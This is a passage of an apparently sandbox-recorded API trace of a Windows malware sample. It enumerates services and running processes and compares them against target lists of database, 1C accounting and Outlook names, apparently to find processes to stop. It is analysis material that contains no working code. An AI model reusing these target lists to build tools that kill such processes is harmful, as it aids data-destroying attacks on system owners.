[0097.641] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0097.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0097.641] lstrlenW (lpString="AudioSrv") returned 8 [0097.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0097.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0097.642] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0097.642] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0097.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0097.642] lstrlenW (lpString="BFE") returned 3 [0097.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0097.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0097.642] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0097.642] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0097.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0097.642] lstrlenW (lpString="CryptSvc") returned 8 [0097.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0097.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0097.642] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0097.642] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0097.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0097.642] lstrlenW (lpString="CscService") returned 10 [0097.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0097.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0097.642] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0097.642] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0097.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0097.642] lstrlenW (lpString="DcomLaunch") returned 10 [0097.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0097.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0097.642] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0097.642] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0097.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0097.642] lstrlenW (lpString="Dhcp") returned 4 [0097.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0097.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0097.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0097.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0097.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0097.642] lstrlenW (lpString="Dnscache") returned 8 [0097.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0097.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0097.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0097.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0097.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0097.642] lstrlenW (lpString="DPS") returned 3 [0097.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0097.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0097.642] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0097.643] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0097.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0097.643] lstrlenW (lpString="eventlog") returned 8 [0097.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0097.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0097.643] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0097.643] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0097.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0097.643] lstrlenW (lpString="EventSystem") returned 11 [0097.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0097.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0097.643] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0097.643] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0097.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0097.643] lstrlenW (lpString="gpsvc") returned 5 [0097.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0097.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0097.643] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0097.643] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0097.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0097.643] lstrlenW (lpString="iphlpsvc") returned 8 [0097.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0097.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0097.643] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0097.643] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0097.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0097.643] lstrlenW (lpString="LanmanServer") returned 12 [0097.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0097.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0097.643] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0097.643] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0097.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0097.643] lstrlenW (lpString="LanmanWorkstation") returned 17 [0097.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0097.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0097.643] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0097.643] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0097.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0097.643] lstrlenW (lpString="lmhosts") returned 7 [0097.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0097.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0097.643] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0097.643] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0097.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0097.644] lstrlenW (lpString="MMCSS") returned 5 [0097.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0097.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0097.644] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0097.644] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0097.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0097.644] lstrlenW (lpString="MpsSvc") returned 6 [0097.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0097.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0097.644] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0097.644] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0097.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0097.644] lstrlenW (lpString="Netman") returned 6 [0097.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0097.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0097.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0097.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0097.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0097.644] lstrlenW (lpString="netprofm") returned 8 [0097.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0097.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0097.644] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0097.644] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0097.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0097.644] lstrlenW (lpString="NlaSvc") returned 6 [0097.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0097.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0097.644] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0097.644] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0097.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0097.644] lstrlenW (lpString="nsi") returned 3 [0097.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0097.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0097.644] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0097.644] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0097.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0097.644] lstrlenW (lpString="PcaSvc") returned 6 [0097.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0097.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0097.645] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0097.645] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0097.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0097.645] lstrlenW (lpString="PlugPlay") returned 8 [0097.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0097.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0097.645] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0097.645] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0097.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0097.645] lstrlenW (lpString="Power") returned 5 [0097.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0097.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0097.645] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0097.645] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0097.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0097.645] lstrlenW (lpString="ProfSvc") returned 7 [0097.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0097.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0097.645] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0097.645] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0097.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0097.645] lstrlenW (lpString="RpcEptMapper") returned 12 [0097.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0097.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0097.645] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0097.645] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0097.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0097.645] lstrlenW (lpString="RpcSs") returned 5 [0097.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0097.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0097.645] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0097.645] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0097.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0097.645] lstrlenW (lpString="SamSs") returned 5 [0097.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0097.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0097.645] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0097.645] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0097.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0097.645] lstrlenW (lpString="Schedule") returned 8 [0097.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0097.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0097.645] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0097.645] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0097.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0097.645] lstrlenW (lpString="SENS") returned 4 [0097.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0097.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0097.645] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0097.646] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0097.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0097.646] lstrlenW (lpString="ShellHWDetection") returned 16 [0097.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0097.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0097.646] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0097.646] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0097.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0097.646] lstrlenW (lpString="Spooler") returned 7 [0097.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0097.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0097.646] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0097.646] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0097.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0097.646] lstrlenW (lpString="SysMain") returned 7 [0097.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0097.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0097.646] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0097.646] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0097.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0097.646] lstrlenW (lpString="Themes") returned 6 [0097.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0097.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0097.646] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0097.646] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0097.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0097.646] lstrlenW (lpString="TrkWks") returned 6 [0097.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0097.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0097.646] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0097.646] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0097.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0097.646] lstrlenW (lpString="UxSms") returned 5 [0097.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0097.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0097.646] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0097.646] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0097.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0097.646] lstrlenW (lpString="WdiServiceHost") returned 14 [0097.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0097.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0097.646] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0097.646] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0097.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0097.646] lstrlenW (lpString="WdiSystemHost") returned 13 [0097.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0097.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0097.646] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0097.646] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0097.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0097.646] lstrlenW (lpString="Winmgmt") returned 7 [0097.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0097.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0097.646] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0097.646] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0097.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0097.647] lstrlenW (lpString="WPDBusEnum") returned 10 [0097.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0097.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0097.647] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0097.647] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0097.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0097.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4166030 | out: hHeap=0x4f0000) returned 1 [0097.647] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0097.648] Process32FirstW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.648] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0097.649] lstrlenW (lpString="System") returned 6 [0097.649] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0097.649] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0097.649] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0097.649] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0097.649] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0097.649] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0097.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0097.649] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0097.649] lstrlenW (lpString="smss.exe") returned 8 [0097.649] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0097.649] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0097.649] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0097.649] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0097.649] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0097.649] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0097.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0097.649] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.649] lstrlenW (lpString="csrss.exe") returned 9 [0097.649] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0097.649] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0097.649] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0097.650] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0097.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0097.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0097.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0097.650] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0097.650] lstrlenW (lpString="wininit.exe") returned 11 [0097.650] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0097.650] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0097.650] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0097.650] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0097.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0097.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0097.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0097.650] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.650] lstrlenW (lpString="csrss.exe") returned 9 [0097.650] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0097.650] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0097.650] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0097.650] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0097.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0097.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0097.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0097.650] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0097.651] lstrlenW (lpString="winlogon.exe") returned 12 [0097.651] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0097.651] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0097.651] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0097.651] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0097.651] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0097.651] lstrlenW (lpString="services.exe") returned 12 [0097.651] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0097.651] lstrlenW (lpString="lsass.exe") returned 9 [0097.651] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0097.651] lstrlenW (lpString="lsm.exe") returned 7 [0097.651] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.652] lstrlenW (lpString="svchost.exe") returned 11 [0097.652] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.652] lstrlenW (lpString="svchost.exe") returned 11 [0097.652] Process32NextW 